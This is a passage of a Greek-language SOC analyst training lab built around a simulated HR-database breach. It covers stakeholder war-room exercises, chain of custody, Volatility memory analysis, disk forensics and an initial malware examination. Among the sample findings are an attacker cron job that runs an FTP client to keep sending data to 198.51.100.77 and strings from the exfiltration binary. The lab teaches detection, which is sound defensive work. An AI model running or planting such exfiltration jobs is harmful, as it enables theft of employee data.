- Ποια δεδομένα πελατών ενδέχεται να έχουν επηρεαστεί;

- Πόσο σίγουροι είμαστε για αυτή την εκτίμηση;
- Τι συμβουλεύουν οι νομικές/συμμόρφωσης ομάδες;
- Ποιο χρονοδιάγραμμα ισχύει (24 ώρες, 72 ώρες κ.λπ.)?

Σημείο ελέγχου: Ενότητα 2.7

Πριν προχωρήσετε στην **Ενότητα 2.8: Προσομοίωση Εκτελεστικής Αίθουσας Κρίσης**, βεβαιωθείτε ότι:

- Κατανοήσετε γιατί οι εξωτερικές επικοινωνίες πρέπει να ισορροπούν μεταξύ ταχύτητας και ακρίβειας.
- Έχετε συντάξει μια ειδοποίηση προς τους πελάτες που αποφεύγει την ορολογία αλλά εμπνέει εμπιστοσύνη.
- Έχετε προσδιορίσει τουλάχιστον δύο συγκεκριμένες ενέργειες που πρέπει να αναλάβουν οι πελάτες.
- Έχετε αναγνωρίσει τον ρόλο των στελεχών και του νομικού τμήματος στην έγκριση των δηλώσεων.

2.8 Προσομοίωση Εκτελεστικής Αίθουσας Κρίσεων – Κρίση υπό Πίεση

Σενάριο

Είναι **4:30 π.μ**.
Το SOC έχει περιορίσει την άμεση απειλή, αλλά **τα στελέχη, το τμήμα Ανθρώπινου Δυναμικού, το νομικό τμήμα και το τμήμα IT Ops** έχουν συγκληθεί σε μια έκτακτη **τηλεδιάσκεψη στο «War Room»** για τη διαχείριση του συμβάντος.

Ως Junior SOC Analyst, καλείστε να παρουσιάσετε τα τεχνικά ευρήματα — και στη συνέχεια να παρατηρήσετε πώς **οι διάφοροι ενδιαφερόμενοι** φέρνουν τις δικές τους προτεραιότητες, που μερικές φορές είναι αντικρουόμενες.

Αυτή η προσομοίωση δείχνει πώς **η τεχνική ανταπόκριση και ο επιχειρηματικός αντίκτυπος έρχονται σε σύγκρουση**.

Βήμα 1: Συμμετέχοντες στο War Room

- **SOC/Ασφάλεια:** Παρουσιάζουν τεχνικά στοιχεία, προτείνουν μέτρα περιορισμού.
- **Λειτουργίες IT:** Ανησυχούν για την αποκατάσταση των συστημάτων και τη διαθεσιμότητα.
- **Ανθρώπινο Δυναμικό:** Ανησυχούν για την έκθεση των δεδομένων των εργαζομένων.
- **Νομικό τμήμα/Συμμόρφωση:** Εστιάζουν στις κανονιστικές υποχρεώσεις.
- **Στελέχη:** Πίεση για την προστασία της φήμης και την καθησύχαση των πελατών.

Βήμα 2: Δυναμική του War Room

Η συνάντηση ξεκινά με **την παρουσίαση μιας ενημέρωσης 2 λεπτών από εσάς** (με βάση τη σημείωση κλιμάκωσης προς τους ενδιαφερόμενους από το 2.6).
Στη συνέχεια, οι ενδιαφερόμενοι αντιδρούν:

- **IT Ops:** «Η απομόνωση του HR-DB01 επηρεάζει τη μισθοδοσία — πόσο θα πάρει μέχρι να αποκατασταθεί;»
- **HR:** «Πρέπει να ενημερώσουμε τους υπαλλήλους σήμερα; Σε ποια δεδομένα έγινε πρόσβαση;»
- **Νομικό τμήμα:** «Εάν μεταφέρθηκαν προσωπικά δεδομένα, πρέπει να ενημερωθούν οι ρυθμιστικές αρχές εντός 72 ωρών. Μπορούμε να το επιβεβαιώσουμε;»
- **Διευθυντικά στελέχη:** «Τι θα πούμε στον Τύπο αν αυτό διαρρεύσει; Χρειαζόμαστε σαφή σημεία συζήτησης.»

Βήμα 3: Άσκηση – Πίνακας προτεραιοτήτων των ενδιαφερόμενων μερών

Συμπληρώστε τον πίνακα για να καταγράψετε τα θέματα που απασχολούν κάθε ομάδα:

Κύρια ανησυχία των ενδιαφερόμενων μερών		**Σύγκρουση με**
Αποδεικτικά στοιχεία Containment C	SOC/Security ακεραιότητα	Στελέχη (επιθυμούν γρήγορη επικοινωνία)
Λειτουργίες IT	Διαθεσιμότητα συστήματος	Ασφάλεια (επιθυμεί μεγαλύτερη απομόνωση)
Ανθρώπινο δυναμικό	Προστασία δεδομένων εργαζομένων	Στελέχη (πίεση χρόνου)
Νομικά	Κανονιστικές προθεσμίες	Λειτουργίες IT (πίεση για γρήγορη επαναφορά)
Στελέχη	Φήμη Εμπιστοσύνη πελατών	SOC (θέλει να επιβεβαιώσει πριν τη δημοσιοποίηση)

Βήμα 4: Επικοινωνία υπό πίεση

Τώρα, θα κάνετε ένα παιχνίδι ρόλων συντάσσοντας **δύο σύντομα μηνύματα** κατά τη διάρκεια της συνεδρίασης:

1. **Εσωτερική ενημέρωση (για στελέχη)** → 3 προτάσεις, απλές, επιχειρηματικές επιπτώσεις.
2. **Τεχνική σημείωση (για τα αρχεία καταγραφής του SOC)** → ακριβής, βασισμένη σε αποδεικτικά στοιχεία, αναφορές σε αρχεία καταγραφής. Αυτή η ικανότητα διπλής επικοινωνίας είναι κρίσιμη:

- Τα στελέχη θέλουν **σαφήνεια και ταχύτητα**.
- Τα αρχεία καταγραφής SOC χρειάζονται **ακρίβεια και λεπτομέρεια**.

Βήμα 5: Σημείο λήψης απόφασης

Η συνεδρίαση του «war room» ολοκληρώνεται με **δύο σημαντικά ερωτήματα** για την ομάδα ηγεσίας:

1. Ενημερώνουμε αμέσως τους πελάτες ή περιμένουμε μέχρι να επιβεβαιωθεί η διαρροή από την έρευνα;
2. Αποκαθιστούμε γρήγορα τη βάση δεδομένων του τμήματος ανθρώπινου δυναμικού ή την κρατάμε απομονωμένη μέχρι να ολοκληρωθεί η εγκληματολογική έρευνα;

Ως Junior Analyst, δεν αποφασίζετε — αλλά **παρατηρείτε και καταγράφετε**.

Άσκηση – Ανασκόπηση αναλυτή

Γράψτε μια σύντομη ανασκόπηση:

- Ποιος ενδιαφερόμενος σας φάνηκε πιο δύσκολος να εξισορροπήσετε;
- Ποιοι κίνδυνοι ενδέχεται να προκύψουν από την υπερβολικά γρήγορη αποκατάσταση της υπηρεσίας;
- Ποιοι κίνδυνοι ενδέχεται να προκύψουν από την καθυστέρηση της ενημέρωσης των πελατών;

Σημείο ελέγχου: Ενότητα 2.8

Πριν προχωρήσετε στη **Φάση 3: Η έρευνά σας**, βεβαιωθείτε ότι:

- Καταγράψατε τις προτεραιότητες και τις συγκρούσεις των ενδιαφερόμενων μερών.
- Έχετε εξασκηθεί στη σύνταξη διπλών μηνυμάτων (εκτελεστικό έναντι αρχείου καταγραφής SOC).
- Έχετε αναλογιστεί τις αντισταθμίσεις μεταξύ ταχύτητας, ακρίβειας και εμπιστοσύνης.
- Ενημερώσατε το εισιτήριο SOC με τις σημειώσεις του war room.

Φάση 3: Η έρευνά σας

3.1 Συλλογή δεδομένων εγκληματολογικής έρευνας – Διατήρηση των αποδεικτικών στοιχείων

Σενάριο

Είναι τώρα **5:15 π.μ**.
Έχουν ληφθεί μέτρα περιορισμού:

- Ο λογαριασμός dbadmin έχει απενεργοποιηθεί
- Ο διακομιστής HR-DB01 έχει απομονωθεί
- Το εξερχόμενο FTP έχει αποκλειστεί

Ο επόμενος ρόλος σας ως Junior SOC Analyst είναι να βοηθήσετε στη **συλλογή δεδομένων για εγκληματολογική ανάλυση**. Αυτό σημαίνει τη διατήρηση ευμετάβλητων και μη ευμετάβλητων αποδεικτικών στοιχείων πριν εξαφανιστούν ή αντικατασταθούν.

Βήμα 1: Αρχές εγκληματολογικής έρευνας

Κατά τη συλλογή δεδομένων:

- **Μην προκαλείτε ζημιά** → Μην αλλάζετε τα αρχικά αποδεικτικά στοιχεία.
- **Διατηρήστε την αλυσίδα επιτήρησης** → Καταγράψτε ποιος τα συνέλεξε, πότε και πώς.
- **Δημιουργήστε αντίγραφα** → Εργαστείτε σε εγκληματολογικές εικόνες, όχι σε ζωντανά συστήματα.
- **Καταγράψτε τα πάντα** → Χρονοσημάνσεις, εντολές που χρησιμοποιήθηκαν, κατακερματισμούς αρχείων.

Βήμα 2: Τι να συλλέξετε

Θα επικεντρωθείτε σε **τρεις κατηγορίες αποδεικτικών στοιχείων**:

1. **Μνήμη συστήματος (RAM Dump)**
    - Γιατί: Καταγράφει τις διεργασίες που εκτελούνται, τις συνδέσεις δικτύου, πιθανό κακόβουλο λογισμικό στη μνήμη.
    - Παράδειγμα εντολής (Linux):

- sudo LiME -o /mnt/usb/memdump.lime -f
- Παράδειγμα εργαλείου (Windows): FTK Imager, DumpIt.

2. **Στιγμιότυπο δίσκου/συστήματος αρχείων**
   - Γιατί: Διατήρηση της κατάστασης του συστήματος αρχείων, των αρχείων καταγραφής, των κακόβουλων δυαδικών αρχείων και των χρονικών σημάνσεων.
   - Παράδειγμα εργαλείου: dd για Linux, FTK Imager για Windows.
   - Πάντα να δημιουργείτε hash της εικόνας (π.χ., sha256sum image.dd).
3. **Κυκλοφορία δικτύου (PCAP)**
   - Γιατί: Για να δείτε τις επικοινωνίες του εισβολέα, τις απόπειρες διαρροής δεδομένων και τις εντολές και τον έλεγχο.
   - Εργαλείο: tcpdump ή Wireshark για τη συλλογή πακέτων από απομονωμένο διακομιστή πριν από τη διαγραφή/επαναφορά.

Βήμα 3: Τεκμηρίωση – Αλυσίδα επιτήρησης

Καταγράψτε τα ακόλουθα για κάθε συλλεγμένο τεκμήριο:

- Τι συλλέχθηκε (π.χ. αποτύπωση μνήμης RAM, εικόνα δίσκου, pcap).
- Ημερομηνία/ώρα συλλογής.
- Εργαλείο/εντολή που χρησιμοποιήθηκε.
- Τιμές κατακερματισμού για επαλήθευση ακεραιότητας.
- Υπογραφή C του αναλυτή.

Βήμα 4: Άσκηση – Συμπλήρωση πίνακα συλλογής αποδεικτικών στοιχείων

Τύπος αποδεικτικού στοιχείου	**Εργαλείο/εντολή**	**Όνομα αρχείου**	**Hash (SHA-256)**	**Συλλογή από / Ημερομηνία**
Αποτύπωση μνήμης RAM				
Εικόνα δίσκου				

Τύπος αποδεικτικού στοιχείου	**Εργαλείο/Εντολή**	**Όνομα αρχείου**	**Hash (SHA-256)**	**Συλλογή από / Ημερομηνία**
PCAP (Αρχείο καταγραφής κυκλοφορίας)	_____	_____	_____	_____

Βήμα 5: Ενημέρωση δελτίου SOC

Προσθέστε μια νέα ενότητα στο εισιτήριο SOC:

- Συλλεγμένα αποδεικτικά στοιχεία (καταγράψτε και επισυνάψτε τα αρχεία καταγραφής).
- Λεπτομέρειες αλυσίδας επιτήρησης.
- Τυχόν ανωμαλίες που εντοπίστηκαν κατά τη συλλογή (παράξενες διεργασίες, ασυνήθιστες ανοιχτές θύρες).

Σημείο ελέγχου: Ενότητα 3.1

Πριν προχωρήσετε στην **Ενότητα 3.2: Ανάλυση διεργασιών μνήμης**, βεβαιωθείτε ότι:

- Έχετε κατανοήσει τις αρχές της εγκληματολογικής συλλογής (διατήρηση, αλυσίδα επιτήρησης).
- Έχετε καταγράψει τουλάχιστον τρεις τύπους αποδεικτικών στοιχείων (RAM, δίσκος, PCAP).
- Έχετε εξασκηθεί στη συμπλήρωση ενός πίνακα συλλογής αποδεικτικών στοιχείων.
- Ενημερώσατε το SOC Ticket σας με σημειώσεις σχετικά με τη συλλογή.

Αρχείο αλυσίδας επιτήρησης – Χειρισμός εγκληματολογικών αποδεικτικών στοιχείων

Αριθμός υπόθεσης: _____

Όνομα συμβάντος: _____

Ημερομηνία έναρξης: _____

Υπεύθυνος αναλυτής: _____

1. Περίληψη αποδεικτικών στοιχείων

Αριθμός αποδεικτικού στοιχείου	Περιγραφή	Σύστημα προέλευσης	Συλλογή Εργαλείο/Μέθοδος	Ημερομηνία/ώρα συλλογής
E-001				
E-002				
E-003				

2. Επαλήθευση ακεραιότητας

Για κάθε αρχείο αποδεικτικών στοιχείων, υπολογίστε και καταγράψτε κρυπτογραφικούς κατακερματισμούς (π.χ. SHA-256).

Αριθμός αποδεικτικού στοιχείου	Όνομα αρχείου	Κατακερματισμός SHA-256	Επαλήθευση από
E-001			
E-002			
E-003			

3. Μεταβιβάσεις φύλαξης

Κάθε φορά που τα αποδεικτικά στοιχεία αλλάζουν χέρια, καταγράψτε τις λεπτομέρειες της μεταφοράς.

Αριθμός αποδεικτικού στοιχείου	Αποδέκτης (Όνομα/Υπογραφή)	Ημερομηνία/Ώρα	Παραλήπτης (Όνομα/Υπογραφή)	Σκοπός/Σημειώσεις
E-001				
E-002				
E-003				

4. Τελική διάθεση

Όταν τα αποδεικτικά στοιχεία δεν είναι πλέον απαραίτητα (π.χ. έχουν αρχειοθετηθεί, επιστραφεί, καταστραφεί), καταγράψτε το τελικό αποτέλεσμα.

Αριθμός αποδεικτικού στοιχείου	Διάθεση	Ημερομηνία/Ώρα	Εγκρίθηκε από
E-01			
E-002			
E-003			

Υπενθύμιση:

- Κάθε καταχώριση στο ημερολόγιο πρέπει να είναι ευανάγνωστη, πλήρης και υπογεγραμμένη.
- Κανένα αποδεικτικό στοιχείο δεν είναι αποδεκτό σε νομικό πλαίσιο ή σε πλαίσιο συμμόρφωσης χωρίς τεκμηριωμένη αλυσίδα επιτήρησης.
- Αντιμετωπίστε αυτό το αρχείο καταγραφής ως μέρος του **επίσημου αρχείου συμβάντων**.

3.2 Ανάλυση διεργασιών μνήμης – Τι κρύβεται στη μνήμη RAM;

Σενάριο

Έχετε συλλέξει ένα **αντίγραφο της μνήμης RAM** από τον παραβιασμένο διακομιστή **HR-DB01**. Τώρα ήρθε η ώρα να το αναλύσετε για να βρείτε στοιχεία κακόβουλης δραστηριότητας. Οι επιτιθέμενοι συχνά αφήνουν ίχνη στη μνήμη, όπως:

- Ύποπτες διεργασίες
- Συνδέσεις δικτύου
- Εισαγόμενος κώδικας ή υπολείμματα κακόβουλου λογισμικού

Βήμα 1: Εργαλεία για την ανάλυση της μνήμης

Τα συνηθισμένα εργαλεία εγκληματολογικής ανάλυσης περιλαμβάνουν:

- **Volatility Framework (Linux/Windows)** → λίστες διεργασιών, DLL, υποδοχές δικτύου
- **Rekall** → σύγχρονη ανάλυση μνήμης
- **FTK/EnCase** (εμπορικό) → ολοκληρωμένες σουίτες έρευνας Για αυτό

το εργαστήριο, θα χρησιμοποιήσουμε **το Volatility** (ανοιχτού κώδικα).

Βήμα 2: Εντοπισμός διεργασιών που

εκτελούνται (παράδειγμα Volatility):

volatility -f memdump.lime pslist **Δείγμα**

εξόδου:

PID PPID Όνομα Ώρα έναρξης

--- ----- ---------- ----------

412 4 Σύστημα 26/09/2025 23:59:12

980 412 svchost.exe 27/09/2025 02:41:00

1337 980 ftpclient.exe 27/09/2025 02:42:15

1450 412 notepad.exe 27/09/2025 02:45:01

Παρατηρήσεις:

- **Το ftpclient.exe** ξεκίνησε αμέσως μετά από ύποπτη σύνδεση του dbadmin.
- Αυτή η διαδικασία είναι ασυνήθιστη σε έναν διακομιστή βάσης δεδομένων — ένα προειδοποιητικό σημάδι.

Βήμα 3: Έλεγχος συνδέσεων δικτύου

Εντολή:

volatility -f memdump.lime netscan

Δείγμα εξόδου:

Proto Τοπική διεύθυνση Εξωτερική διεύθυνση Κατάσταση PID

TCP 10.0.10.25:50500 198.51.100.77:21 ESTABLISHED 1337

Παρατηρήσεις:

- Επιβεβαιώνει **εξερχόμενη συνεδρία FTP** προς ύποπτη IP 198.51.100.77.
- Ταιριάζει με τα αρχεία καταγραφής του τείχους προστασίας → η συσχέτιση αυξάνει την αξιοπιστία.

Βήμα 4: Εξαγωγή ύποπτου δυαδικού αρχείου

Εντολή:

volatility -f memdump.lime procdump -p 1337 -D ./extracted/

Αυτό εξάγει το εκτελέσιμο ftpclient.exe για περαιτέρω ανάλυση κακόβουλου λογισμικού. (Θα εξεταστεί αργότερα στη Φάση 3.4: Εξέταση κακόβουλου λογισμικού.)

Άσκηση – Συμπληρώστε τα ευρήματά σας

Συμπληρώστε τον παρακάτω πίνακα έρευνας:

Εύρημα	**Χρησιμοποιημένο εργαλείο/εντολή**	**Αποδεικτικά στοιχεία**	**Γιατί είναι ύποπτο;**
Ύποπτη διαδικασία	_____	_____	

Εύρημα	**Εργαλείο/εντολή που χρησιμοποιήθηκε**	**Αποδεικτικά στοιχεία**
Γιατί είναι ύποπτο; Εξερχόμενη σύνδεση		
Εξαγωγή δυαδικού αρχείου		

Βήμα 5: Ενημέρωση δελτίου SOC

Προσθέστε τις σημειώσεις σας από την ανάλυση μνήμης:

- Εντοπίστηκε ύποπτη διαδικασία (ftpclient.exe, PID 1337).
- Εξερχόμενη σύνδεση με γνωστό δείκτη απειλής (198.51.100.77).
- Εξαγωγή δυαδικού αρχείου για περαιτέρω ανάλυση κακόβουλου λογισμικού.

Σημείο ελέγχου: Ενότητα 3.2

Πριν προχωρήσετε στην **Ενότητα 3.3: Εγκληματολογική ανάλυση αρχείων και δίσκων**, βεβαιωθείτε ότι:

- Χρησιμοποιήσατε εργαλεία ανάλυσης μνήμης για τον εντοπισμό ύποπτων διεργασιών.
- Επιβεβαιώσατε ύποπτη δραστηριότητα δικτύου από τη μνήμη.
- Εξάγατε το κακόβουλο δυαδικό αρχείο για μελλοντική ανάλυση κακόβουλου λογισμικού.
- Καταγράψατε τα ευρήματα στο SOC Ticket σας.

Φύλλο εργασίας ανάλυσης μνήμης – Αποδεικτικά στοιχεία δικτύου διεργασιών

Αριθμός υπόθεσης: _____ **Όνομα αναλυτή:** _____

Ημερομηνία/Ώρα: _____

Σύστημα προέλευσης: _____

Όνομα αρχείου μνήμης: _____

1. Ανάλυση διεργασιών

Καταγράψτε τις ύποπτες ή αξιοσημείωτες διεργασίες που εντοπίστηκαν στην αποτύπωση της μνήμης RAM.

PID	Όνομα διεργασίας	PID γονικής διεργασίας (PPID)	Ώρα έναρξης	Γιατί είναι ύποπτη;
_____	_____	_____	_____	_____
_____	_____	_____	_____	_____
_____	_____	_____	_____	_____

2. Συνδέσεις δικτύου

Καταγράψτε τις ενεργές ή πρόσφατες συνδέσεις δικτύου.

Τοπική διεύθυνση	Proto	Διεύθυνση εξωτερικού	Κατάσταση	Σχετικό PID/Διαδικασία	Σημειώσεις
_____	_____	_____	_____	_____	_____
_____	_____	_____	_____	_____	_____

3. Εξαγόμενα αντικείμενα

Καταγράψτε όλα τα εκτελέσιμα αρχεία, τις DLL ή τον εισαχθέντα κώδικα που έχουν εξαχθεί από τη μνήμη.

Όνομα αρχείου	Σχετική εξαγωγή	PID Εργαλείο/Εντολή	Αποθηκευμένος κατακερματισμός (SHA-256)	Σημειώσεις

4. Παρατηρήσεις αναλυτή

Σημειώσεις ελεύθερου κειμένου για την καταγραφή μοτίβων, ανωμαλιών ή συσχετίσεων με άλλα αρχεία καταγραφής.

Υπενθύμιση:

- Συσχετίστε τα ευρήματα με **τα αρχεία καταγραφής SIEM και του τείχους προστασίας** για μεγαλύτερη αξιοπιστία.
- Αποθηκεύστε όλα τα εξαγόμενα δυαδικά αρχεία στο **αποθετήριο αποδεικτικών στοιχείων**, συνδεδεμένα με κατακερματισμούς στο αρχείο **καταγραφής αλυσίδας επιτήρησης**.
- Αποφύγετε τις εικασίες — εστιάστε στα παρατηρήσιμα αποδεικτικά στοιχεία.

3.3 Ανάλυση αρχείων δίσκου – Αναζήτηση στοιχείων επιμονής

Σενάριο

Τώρα στρέφεστε στην **εικόνα δίσκου** του διακομιστή HR-DB01, που συλλέξατε νωρίτερα. Η εγκληματολογική ανάλυση δίσκων αποκαλύπτει εάν οι επιτιθέμενοι:

- Εγκατέστησαν κακόβουλο λογισμικό για διαρκή παρουσία
- Τροποποίησαν αρχεία συστήματος
- Δημιούργησαν κρυφούς λογαριασμούς ή προγραμματισμένες εργασίες
- Εξήγαγαν ή αποθήκευσαν ευαίσθητα

δεδομένα Η αποστολή σας είναι να αναζητήσετε

αυτά τα ίχνη.

Βήμα 1: Εργαλεία για την ανάλυση δίσκων

Κοινές εγκληματολογικές προσεγγίσεις:

- **Εργαλεία Linux/Unix:** autopsy, sleuthkit, find, strings
- **Εργαλεία Windows:** FTK Imager, EnCase, Autopsy
- **Γενικές εντολές:** ls -l, stat, diff, εργαλεία κατακερματισμού για ελέγχους ακεραιότητας

Βήμα 2: Αναζήτηση μηχανισμών επιμονής

Σε συστήματα που έχουν παραβιαστεί, οι εισβολείς συχνά φροντίζουν να μπορούν **να επιστρέψουν αργότερα**:

- **Windows:** Ελέγξτε τα κλειδιά μητρώου (π.χ. κλειδιά Run, υπηρεσίες), τις προγραμματισμένες εργασίες, τα νέα προγράμματα εκκίνησης.
- **Linux:** Ελέγξτε τις εργασίες cron (/etc/cron*), τα τροποποιημένα σενάρια init, το /etc/passwd για νέους χρήστες.

Δείγμα εύρεσης (Linux):

/etc/cron.d/backup.sh → Ύποπτη νέα εργασία cron, δημιουργήθηκε στις 27/09/2025 στις 02:45

Εκτελεί: ftpclient -u attacker -p [διαγραμμένο] -s 198.51.100.77

Παρατήρηση: Ο εισβολέας δημιούργησε μια εργασία cron για να επανεκκινήσει την εξάτμιση δεδομένων ακόμη και αν το σύστημα επανεκκινήσει.

Βήμα 3: Αναζήτηση τροποποιημένων ή νέων αρχείων

Συγκρίνετε τις χρονικές σημάνσεις των αρχείων με τις κανονικές τιμές αναφοράς.

- Ελέγξτε για πρόσφατα τροποποιημένα δυαδικά αρχεία συστήματος (ls -ltr /bin, /usr/bin).
- Αναζητήστε ύποπτα εκτελέσιμα αρχεία σε μη τυπικές τοποθεσίες (/tmp, /var/tmp, κρυφά αρχεία dot).

Παράδειγμα εύρεσης (Windows):

C:\Users\dbadmin\AppData\Roaming\update.exe Αρχείο

δημιουργήθηκε: 27/09/2025 02:44 π.μ.

Hash: a3c5f... (δεν ταιριάζει με κανένα γνωστό λογισμικό της εταιρείας)

Παρατήρηση: Πιθανό malware dropper.

Βήμα 4: Αναζήτηση δεδομένων Stage/Exfil

Οι επιτιθέμενοι συχνά προετοιμάζουν ευαίσθητα αρχεία πριν τα στείλουν.

- Αναζητήστε ασυνήθιστα μεγάλα αρχεία (.zip, .7z, .rar) που δημιουργήθηκαν περίπου την ώρα του συμβάντος.
- Ελέγξτε τις χρονικές σημάνσεις πρόσβασης σε αρχεία που σχετίζονται με το τμήμα Ανθρώπινου Δυναμικού.

Παράδειγμα εύρεσης:

/home/dbadmin/hr_archive.zip Μέγεθος:

25MB

Δημιουργήθηκε: 27/09/2025 02:42 π.μ.

Περιέχει: employee_data.xlsx, salaries.csv

Παρατήρηση: Επιβεβαιώνει την προετοιμασία διαρροής δεδομένων.

Βήμα 5: Άσκηση – Πίνακας δισκογραφικής ανάλυσης

Συμπληρώστε με βάση τα ευρήματά σας:

Εύρημα	Αποδεικτικά στοιχεία (Αρχείο/Διαδρομή/Κλειδί)	Χρονοσήμανση	Γιατί είναι ύποπτο;
Μηχανισμός επιμονής	_____	_____	_____
Απόθεση κακόβουλου αρχείου	_____		
Αρχείο σε στάδια	_____		

Βήμα 6: Ενημέρωση δελτίου SOC

- Προσθέστε τα ευρήματα της εγκληματολογικής ανάλυσης δίσκου.
- Συμπεριλάβετε διαδρομές αρχείων, χρονικές σημάνσεις, κατακερματισμούς.
- Συνδέστε τα εξαγόμενα στοιχεία με **το αρχείο καταγραφής αλυσίδας επιτήρησης**.
- Διασταυρώστε τα ευρήματα με αυτά της μνήμης (π.χ., ftpclient.exe τόσο στη μνήμη RAM όσο και στο δίσκο).

Σημείο ελέγχου: Ενότητα 3.3

Πριν προχωρήσετε στην **Ενότητα 3.4: Εξέταση κακόβουλου λογισμικού**, βεβαιωθείτε ότι:

- Έχετε εντοπίσει τουλάχιστον έναν μηχανισμό επιμονής.
- Βρήκατε ύποπτα αρχεία ή αρχεία συμπίεσης.
- Συσχετίσατε τα ευρήματα του δίσκου με προηγούμενα στοιχεία μνήμης/IOC.
- Ενημερώσατε το SOC Ticket με τις σημειώσεις της εγκληματολογικής έρευνας.

Φύλλο εργασίας εγκληματολογικής ανάλυσης δίσκου – Αρχεία, Εξαπλώσεις και Διαρροές

Αριθμός υπόθεσης: _____ **Όνομα αναλυτή:** _____

Ημερομηνία/Ώρα: _____

Σύστημα προέλευσης: _____

Αρχείο εικόνας δίσκου: _____

1. Μηχανισμοί διατήρησης

Καταγράψτε τυχόν μεθόδους που χρησιμοποίησαν οι εισβολείς για να διατηρήσουν την πρόσβαση.

Τύπος συστήματος Γιατί είναι ύποπτο;	**Τοποθεσία/Κλειδί/Σενάριο**	**Ώρα δημιουργίας/τροποποίησης**
Windows / Linux _____	_____	_____
Windows / Linux _____	_____	_____
Windows / Linux _____	_____	_____

2. Ύποπτα αρχεία και εκτελέσιμα

Καταγράψτε τα αρχεία που ενδέχεται να είναι κακόβουλα και βρέθηκαν στο δίσκο.

Διαδρομή αρχείου	**Όνομα αρχείου**	**Δημιουργία/Τροποποίηση Ώρα**	**Κωδικός κατακερματισμού (SHA-256)**	**Μέγεθος**	**Σημειώσεις**
_____	_____	_____	_____	_____	_____
_____	_____	_____	_____	_____	_____

3. Δεδομένα που έχουν προετοιμαστεί για διαρροή

Καταγράψτε αρχεία, μεγάλα αρχεία ή ασυνήθιστους καταλόγους που δημιουργήθηκαν κατά τη διάρκεια του συμβάντος.

Αρχείο/Αρχείο	Περιεχόμενα	Μέγεθος	Ώρα δημιουργίας	Γιατί είναι ύποπτο;

4. Τροποποιήσεις μητρώου / ρυθμίσεων (Windows)

(Εάν ισχύει)

Κλειδί μητρώου/Διαδρομή ρυθμίσεων	Τιμή/Αλλαγή	Ώρα τροποποίησης	Σημειώσεις

5. Παρατηρήσεις αναλυτή

Σημειώσεις ελεύθερου κειμένου για μοτίβα, ανωμαλίες και συσχετισμό με ευρήματα μνήμης ή δικτύου.

Υπενθύμιση:

- Πάντα **να δημιουργείτε hash στα εξαγόμενα αρχεία** και να τα καταγράφετε στο αρχείο **καταγραφής αλυσίδας επιτήρησης**.
- Συσχετίστε τις χρονικές σημάνσεις με **τα χρονοδιαγράμματα ειδοποιήσεων** (π.χ. σύνδεση στις 2:41 π.μ., δημιουργία αρχείου στις 2:42 π.μ.).
- Τα ευρήματα σχετικά με την επιμονή συχνά εξηγούν **πώς οι επιτιθέμενοι παραμένουν στο σύστημα** μετά την αρχική παραβίαση.

3.4 Εξέταση κακόβουλου λογισμικού – Αποκάλυψη του εργαλείου του εισβολέα

Σενάριο

Από την ανάλυση μνήμης και δίσκου, εξάγατε ένα ύποπτο δυαδικό αρχείο:

- Αρχείο: ftpclient.exe
- Θέση: /home/dbadmin/ftpclient.exe
- Χρονοσήμανση: Δημιουργήθηκε στις 27/09/2025 στις 02:42 π.μ.

Ο στόχος σας είναι να πραγματοποιήσετε **μια αρχική ανάλυση κακόβουλου λογισμικού** για να κατανοήσετε τι κάνει, χωρίς να αναστρέψετε πλήρως τον κώδικα.

Βήμα 1: Έλεγχος μεταδεδομένων αρχείου

Ξεκινήστε με απλά εργαλεία για να εξετάσετε το δυαδικό αρχείο:

- **Linux/macOS:**
- file ftpclient.exe
- strings ftpclient.exe | less
- sha256sum ftpclient.exe
- **Windows (PowerShell):**
- Get-FileHash ftpclient.exe -Algorithm SHA256
- Get-AuthenticodeSignature ftpclient.exe

Εύρημα δείγματος:

- Τύπος αρχείου: Εκτελέσιμο Windows PE
- Η έξοδος των συμβολοσειρών αποκαλύπτει:
- USER attacker
- PASS ********
- ftp://198.51.100.77
- exfil.zip

- Δεν υπάρχει έγκυρη ψηφιακή υπογραφή

Παρατήρηση: Τα ενσωματωμένα διαπιστευτήρια και οι εντολές FTP επιβεβαιώνουν ότι αυτό το δυαδικό αρχείο έχει σχεδιαστεί για **διαρροή δεδομένων**.

Βήμα 2: Αναζήτηση πληροφοριών απειλών με βάση τον κωδικό κατακερματισμού

Πάρτε το hash SHA-256 και αναζητήστε το στο:

- **VirusTotal** (virustotal.com)
- **Hybrid Analysis** (hybrid-analysis.com)
- **Οποιαδήποτε εσωτερική**

πλατφόρμα TI Εύρεση δείγματος

(VirusTotal):

- 43/65 μηχανές AV σημείωσαν το αρχείο ως **«Trojan.FTPExfil.A»**
- Ετικέτες συμπεριφοράς: Κλοπή διαπιστευτηρίων, διαρροή μέσω FTP

Βήμα 3: Sandbox ή ασφαλής εκτέλεση (προαιρετικό)

Σε ελεγχόμενο περιβάλλον, εκτελέστε το δυαδικό αρχείο και παρακολουθήστε τη συμπεριφορά:

- Εργαλεία: Cuckoo Sandbox, Any.Run, εσωτερικό sandbox κακόβουλου λογισμικού
- Αναζητήστε: συνδέσεις δικτύου, αλλαγές αρχείων, τροποποιήσεις μητρώου

Δείγμα αναφοράς συμπεριφοράς:

- Συνδέεται με την IP 198.51.100.77 μέσω της θύρας 21
- Ανεβάζει το αρχείο hr_archive.zip από το /home/dbadmin
- Δημιουργεί μόνιμη παρουσία μέσω προγραμματισμένης εργασίας (ftp_sync.job)

Βήμα 4: Άσκηση – Πίνακας εξέτασης κακόβουλου λογισμικού

Συμπληρώστε με βάση τα ευρήματά σας:

Πτυχή	**Αποδεικτικά στοιχεία/Παρατηρήσεις Γιατί είναι ύποπτο;**
Μεταδεδομένα αρχείου	_____

Πτυχή **Αποδεικτικά στοιχεία/Παρατήρηση Γιατί είναι**

ύποπτο; Έξοδος συμβολοσειρών _____

_____ Αναζήτηση πληροφοριών απειλών _____

_____ Συμπεριφορά στο sandbox _____

Βήμα 5: Ενημέρωση δελτίου SOC

- Επισυνάψτε το hash, την έξοδο συμβολοσειρών και τα αποτελέσματα του VirusTotal.
- Κατηγοριοποίηση εγγραφής: **Τροϊανός εξόρυξης δεδομένων**.
- Προσθήκη IOC:
    - Σταθερή διεύθυνση IP FTP (198.51.100.77)
    - Όνομα αρχείου (ftpclient.exe)
    - Hash SHA-256

Σημείο ελέγχου: Ενότητα 3.4

Πριν προχωρήσετε στην **Ενότητα 3.5: Συσχέτιση με το χρονοδιάγραμμα της επίθεσης**, βεβαιωθείτε ότι:

- Έχετε πραγματοποιήσει στατική ανάλυση (αρχείο, συμβολοσειρές, hash).
- Έχετε αναζητήσει το hash σε πηγές πληροφοριών απειλών.
- (Προαιρετικά) Έχετε ελέγξει την αναφορά συμπεριφοράς του sandbox.
